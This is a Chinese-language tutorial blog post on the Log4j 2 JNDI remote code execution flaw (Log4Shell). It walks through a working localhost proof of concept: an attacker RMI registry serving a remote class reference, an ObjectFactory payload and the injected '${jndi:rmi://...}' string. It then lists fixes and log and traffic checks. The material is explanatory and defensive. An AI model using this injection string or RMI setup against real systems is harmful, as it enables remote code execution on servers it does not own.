高危漏洞 log4j漏洞,产生原因和解决方案

高危漏洞 log4j漏洞,产生原因和解决方案,第1张

高危漏洞 log4j漏洞,产生原因和解决方案 高危漏洞 log4j漏洞,产生原因和解决方案

2021年12月09日,360CERT监测发现Apache Log4j 2存在JNDI远程代码执行,漏洞等级:严重,漏洞评分:9.8。

Apache Log4j 2是一个开源的日志记录组件,使用非常的广泛

对此,360CERT建议广大用户尽快将Apache Log4j 2进行升级,以免遭受黑客攻击。


文章目录
  • 高危漏洞 log4j漏洞,产生原因和解决方案
  • log4j漏洞被发现
  • 一、产生原因和技术分析
    • 什么是log4j?
    • 什么是JNDI注入?
  • 二、代码分析
  • 三、解决方案
    • 更换项目依赖版本
    • 日志/流量排查
    • 临时修补建议


log4j漏洞被发现



一、产生原因和技术分析 什么是log4j?

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

如何开启日志我之前有写过专门的博客文章
springboot项目如何查看MP运行日志
也就是说,log4j给开发者提供了更加方便的后端开发过程中的调试效率,但是如何实现log4j 2远程代码执行?
恶意攻击者通过JNDI注入技术实现该功能。

什么是JNDI注入?

没有jndi之前,对于一个外部依赖,像mysql数据库,程序开发的过程中需要将具体的数据库地址参数写入到java代码中,程序才能找到具体的数据库地址进行链接。那么数据库配置这些信息可能经常变动的。这就需要开发经常手动去调整配置。
有了jndi后,程序员可以不去管数据库相关的配置信息,这些配置都交给J2EE容器来配置和管理,程序员只要对这些配置和管理进行引用即可。其实就是给资源起个名字,再根据名字来找资源。
当一个需要被获取的对象的名称可以被远程控制的时候,黑客可以将被攻击的java客户端的jndi请求指向恶意的服务地址,恶意的资源服务地址响应了恶意的java对象,这个对象是“javax.naming.Reference" 的示例,JNDI客户端客户端会尝试解析该对象的classFactory和classFactoryLocation属性。如果这classFactory属性是未知的,那么java会使用URLClassLoade从classFactoryLocation处获取字节码。
就是这么简单的机制,‘initialContext.lookup‘方法即使没有直接暴露在污点数据中,我们可以利用它进行漏洞利用。

也就是说JNDI可以访问远端的服务器,所以攻击者让被攻击者的电脑或者服务器来访问远端的服务器,达到控制被攻击者的电脑和服务器的目的(比如控制你的服务器资源去挖矿,获取你数据库里面重要信息等等),接下来就让我们通过代码的方式来简单讲解一下吧。

二、代码分析

Login.java(代表受害者的服务器)

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;



public class Login {
    private static Logger logger= LogManager.getLogger(Login.class);
    //一个简单的登录方法,传入用户名字
    public void register(String username){
    //日志在控制台打印
        logger.info("{},在何时登录",username);
    }
}

Remote.java(代表攻击者部署)

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class Remote{

    public static void main(String args[]) throws Exception {

        Registry registry = LocateRegistry.createRegistry(1099);
        //启动一个jndi服务器
        Reference reference = new Reference("com.itheima.remote.Attack", "com.itheima.remote.Attack", "http://127.0.0.1:8081/");
        //创建一个资源
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/remote'");
        //给资源命名,绑定
        registry.bind("remote", refObjWrapper);

    }

}

Attack.java(这里是攻击者要攻击的具体内容的实现)

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Attack implements ObjectFactory {
    static {
        System.out.println("静态代码块攻击");
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        System.out.println("你被攻击了");
        return "【攻击者】";
    }
}

我们通过静态代码块,强制执行里面的内容。

我们先运行Remote.java,这个文件,在控制台获取一个和资源名绑定的一个路径,如下

testJndi.java(启动一下受害者的服务器,并且进行jndi注入攻击)

import com.itheima.local.Login;
import org.junit.Test;

public class testJndi {

    @Test
    public void test1(){

       String uri="${jndi:rmi://127.0.0.1:1099/remote}";
        Login login=new Login();
        //故意把错误用户名给他
        login.register(uri);
    }

}

于是我们就发现控制台竟然执行了攻击者的代码,输出了静态代码块的功能

而且在这里,前端界面和后端都会判定填写的用户名字正确,因为用户名字的确是一串字符串,系统并不会阻拦。

但是这个条数据不仅仅和后端数据库进行交互而且还和log4j这个日志信息模块进行交互,log4在自己的服务器里面执行了远程服务器里面的代码。这里面有非常大的信息网络安全隐患,你的服务器再也不是属于你自己的了,任何一个懂得jndi注入技术的人都能控制你的电脑或者服务器

这熟悉的套路有没有让你联想到经典的SQL注入?不同的是SQL注入是直接注入到SQL语句中,直接和后端交互,然而这个是和日志模块交互


三、解决方案 更换项目依赖版本

项目依赖版本检测
检测pom依赖版本是否低于 2.15.0

这是我之前的log4j依赖版本,是低于2.15.0
我们将版本号改动一下,改到2.15.0及其以上都可

再次运行受害者的服务器,我们发现刚刚的资源文件路径已经安全转行为字符串形式并且将其值赋给username。

若没有使用上述工具,那么可以全局搜索项目中是否存在log4j的相关jar包,并通过jar包中的/meta-INF/MANIFEST.MF文件查看log4j的版本。

日志/流量排查
  1. 排查日志或者解码后完整的请求数据包中是否存在${jndi:关键字。

  2. 排查日志是否存在相关堆栈报错,堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与 jndi 调用相关的堆栈信息。

临时修补建议
  1. 设置JVM启动参数-Dlog4j2.formatMsgNoLookups=true。

  2. 尽量使用JDK 版本大于11.0.1、8u191、7u201、6u211,需要注意的是,即使是使用了 JDK 高版本也不能完全保证安全,依然存在本地绕过的情况。

  3. 限制不必要的业务访问外网。

  4. 采用 rasp 对lookup的调用进行阻断。

  5. 采用 waf 对请求流量中的${jndi进行拦截。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5659162.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-16
下一篇 2022-12-16

发表评论

登录后才能评论

评论列表(0条)

保存